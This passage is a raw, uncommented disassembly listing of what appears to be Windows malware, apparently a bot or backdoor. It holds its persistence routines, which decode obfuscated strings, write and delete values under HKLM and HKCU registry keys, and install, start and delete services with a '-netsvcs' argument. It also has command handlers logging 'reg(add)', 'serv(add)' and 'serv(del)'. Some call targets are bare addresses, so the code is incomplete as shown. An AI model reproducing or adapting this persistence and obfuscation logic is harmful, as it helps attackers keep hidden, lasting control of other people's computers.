		call	sub_40142E
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_40142E
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019C4
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019C4
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019C4
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017EE
		mov	ebp, dword_51175C
		push	eax
		push	80000002h
		call	ebp
		mov	esi, [esp+80h+arg_4]
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		mov	ebx, [esp+84h+arg_0]
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2940000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2900000h
		push	0
		lea	eax, [esp+84h+var_70]
		lea	ecx, [esp+84h+var_6C]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		call	sub_4017EE
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2940000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2900000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2940000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2900000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2940000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2900000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2940000h
		mov	edx, [esp+80h+var_70]
		push	edx
		call	near ptr 2900000h
		nop
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_6C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+80h+var_54]
		mov	[esp+80h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	8
sub_40E2E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E860	proc near		; CODE XREF: sub_401451j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40E860
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_6C]
		call	sub_40142E
		lea	ecx, [esp+80h+var_3C]
		mov	[esp+80h+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_40142E
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019C4
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019C4
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019C4
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		mov	esi, dword_51175C
		push	eax
		push	80000002h
		call	esi
		mov	edi, [esp+80h+arg_0]
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		mov	ebp, dword_51176C
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		mov	ebx, dword_511740
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		mov	[esp+80h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+80h+var_6C]
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	4
sub_40E860	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ECF0	proc near		; CODE XREF: sub_4014A1j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40ECF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebx
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+5Ch+var_24]
		call	sub_40142E
		push	104h
		push	104h
		lea	ecx, [esp+64h+var_24]
		mov	[esp+64h+var_4], 0
		call	sub_401C71
		push	eax
		nop
		call	near ptr 27F0000h
		lea	ecx, [esp+5Ch+var_3C]
		call	sub_40142E
		mov	ecx, [esp+5Ch+arg_4]
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+60h+var_24]
		call	sub_4017EE
		push	eax
		lea	eax, [esp+64h+var_3C]
		push	offset dword_444684
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+5Ch+var_54]
		call	sub_40142E
		lea	ecx, [esp+5Ch+var_54]
		push	offset aNetsvcs	; "-netsvcs"
		push	ecx
		mov	byte ptr [esp+64h+var_4], 2
		call	sub_40102D
		mov	ecx, [esp+64h+arg_0]
		add	esp, 8
		lea	edx, [esp+5Ch+var_54]
		lea	eax, [esp+5Ch+var_3C]
		push	edx
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_402171
		lea	ecx, [esp+5Ch+var_54]
		mov	bl, al
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_401226
		lea	ecx, [esp+5Ch+var_3C]
		mov	byte ptr [esp+5Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+5Ch+var_24]
		mov	[esp+5Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+5Ch+var_C]
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 54h
		retn	8
sub_40ECF0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40EE30	proc near		; CODE XREF: sub_402171j

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40EE30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		mov	[esp+5Ch+var_44], ecx
		push	0
		nop
		call	near ptr 2900A56h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40EE6F
		xor	al, al
		jmp	loc_40EFC0
; ---------------------------------------------------------------------------


loc_40EE6F:				; CODE XREF: sub_40EE30+36j
		lea	ecx, [esp+54h+var_24]
		call	sub_40142E
		mov	ecx, [esp+54h+arg_8]
		mov	[esp+54h+var_4], 0
		call	sub_4017EE
		mov	ebx, [esp+54h+arg_4]
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+5Ch+var_24]
		push	offset aSS_4	; "\"%s\" %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+54h+var_24]
		push	0
		push	0
		push	0
		push	0
		push	0
		call	sub_4017EE
		push	eax
		push	1
		push	2
		push	20h
		push	0F01FFh
		mov	ecx, offset dword_449834
		call	sub_4017EE
		mov	ebp, [esp+7Ch+arg_0]
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		push	edi
		nop
		call	near ptr 2910000h
		mov	esi, eax
		xor	ecx, ecx
		cmp	esi, ecx
		jnz	short loc_40EF55
		nop
		call	near ptr 27C092Fh
		cmp	eax, 431h
		jnz	short loc_40EF39
		mov	ecx, [esp+54h+var_44]
		push	ebp
		call	sub_401951
		mov	esi, dword_511754
		push	0
		call	esi
		push	edi
		call	esi
		mov	ecx, [esp+54h+var_44]
		push	ebx
		push	ebp
		call	sub_4014A1
		lea	ecx, [esp+54h+var_24]
		mov	bl, al
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_40EFC0
; ---------------------------------------------------------------------------


loc_40EF39:				; CODE XREF: sub_40EE30+CBj
		push	edi
		nop
		call	near ptr 2910382h
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	short loc_40EFC0
; ---------------------------------------------------------------------------


loc_40EF55:				; CODE XREF: sub_40EE30+BEj
		lea	edx, [esp+54h+var_38]
		mov	[esp+54h+var_34], ecx
		mov	dword ptr [esp+54h+var_30], ecx
		push	edx
		mov	eax, 1
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+58h+var_40]
		push	2
		push	esi
		mov	[esp+60h+var_3C], eax
		mov	[esp+60h+var_40], eax
		mov	[esp+60h+var_38], ebx
		mov	[esp+60h+var_2C], eax
		mov	[esp+60h+var_28], ecx
		call	near ptr 2910614h
		nop
		test	eax, eax
		push	esi
		mov	esi, dword_511754
		jnz	short loc_40EFAC
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		xor	al, al
		jmp	short loc_40EFC0
; ---------------------------------------------------------------------------


loc_40EFAC:				; CODE XREF: sub_40EE30+164j
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		mov	al, 1


loc_40EFC0:				; CODE XREF: sub_40EE30+3Aj
					; sub_40EE30+104j ...
		mov	ecx, [esp+54h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	0Ch
sub_40EE30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F050	proc near		; CODE XREF: sub_401951j

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		call	near ptr 2900A56h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F077
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F077:				; CODE XREF: sub_40F050+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	edi
		nop
		call	near ptr 28A041Dh
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F0A4
		push	edi
		call	near ptr 2910382h
		nop
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F0A4:				; CODE XREF: sub_40F050+41j
		lea	eax, [esp+24h+var_1C]
		push	eax
		push	1
		push	esi
		call	near ptr 2900578h
		nop
		push	esi
		nop
		call	near ptr 29008A5h
		push	esi
		mov	esi, dword_511754
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 1Ch
		retn	4
sub_40F050	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F0F0	proc near		; CODE XREF: sub_401FD2j

arg_0		= dword	ptr  4

		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2900A56h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F10F
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F10F:				; CODE XREF: sub_40F0F0+17j
		mov	ecx, [esp+4+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	esi
		nop
		call	near ptr 28A041Dh
		test	eax, eax
		jnz	short loc_40F136
		push	esi
		nop
		call	near ptr 2910382h
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F136:				; CODE XREF: sub_40F0F0+37j
		push	edi
		mov	edi, dword_511754
		push	eax
		call	edi
		push	esi
		call	edi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F0F0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F170	proc near		; CODE XREF: sub_401FFAj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		call	near ptr 2900A56h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F191
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F191:				; CODE XREF: sub_40F170+18j
		mov	ecx, [esp+8+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	edi
		nop
		call	near ptr 28A041Dh
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F1BB
		push	edi
		nop
		call	near ptr 2910382h
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F1BB:				; CODE XREF: sub_40F170+3Bj
		push	0
		push	0
		push	esi
		nop
		call	near ptr 28F0B5Dh
		push	esi
		mov	esi, dword_511754
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F170	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40F200:				; CODE XREF: ___:loc_4014ABj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43A348
		push	eax
		mov	large fs:0, esp
		sub	esp, 60h
		push	ebx
		push	esi
		mov	esi, [esp+78h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+19h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F2FA
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+14h]
		push	2
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+84h], ebx
		call	sub_4011EA
		lea	edx, [esp+0Ch]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+7Ch], 1
		call	sub_401730
		test	al, al
		jz	short loc_40F2C6
		lea	ecx, [esp+0Ch]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+28h]
		call	sub_4017EE
		push	eax
		push	offset aRegAddSAsS_ ; "reg(add)	\"%s\" as \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch


loc_40F2C6:				; CODE XREF: ___:0040F287j
		lea	ecx, [esp+0Ch]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F2FA:				; CODE XREF: ___:0040F236j
		lea	ecx, [edi+47h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F399
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 2
		push	ecx
		mov	ecx, edi
		call	sub_401451
		test	al, al
		jz	short loc_40F372
		lea	ecx, [esp+24h]
		call	sub_4017EE
		push	eax
		push	offset aRegDelS_ ; "reg(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_40F372:				; CODE XREF: ___:0040F33Dj
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F399:				; CODE XREF: ___:0040F30Cj
		lea	ecx, [edi+75h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F4AF
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+44h]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+14h]
		push	2
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+84h], 3
		call	sub_4011EA
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+2Ch]
		mov	bl, 4
		push	3
		push	eax
		mov	ecx, esi
		mov	[esp+84h], bl
		call	sub_4011EA
		lea	ecx, [esp+24h]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+40h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+80h], 5
		call	sub_402171
		test	al, al
		jz	short loc_40F46D
		lea	ecx, [esp+24h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+44h]
		call	sub_4017EE
		push	eax
		push	offset aServAddSAsSS_ ;	"serv(add) \"%s\" as \"\"%s\" %s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 20h


loc_40F46D:				; CODE XREF: ___:0040F424j
		lea	ecx, [esp+24h]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+74h], 3
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F4AF:				; CODE XREF: ___:0040F3ABj
		lea	ecx, [edi+0A3h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F551
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+5Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 6
		push	ecx
		mov	ecx, edi
		call	sub_401951
		test	al, al
		jz	short loc_40F52A
		lea	ecx, [esp+54h]
		call	sub_4017EE
		push	eax
		push	offset aServDelS_ ; "serv(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_40F52A:				; CODE XREF: ___:0040F4F5j
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
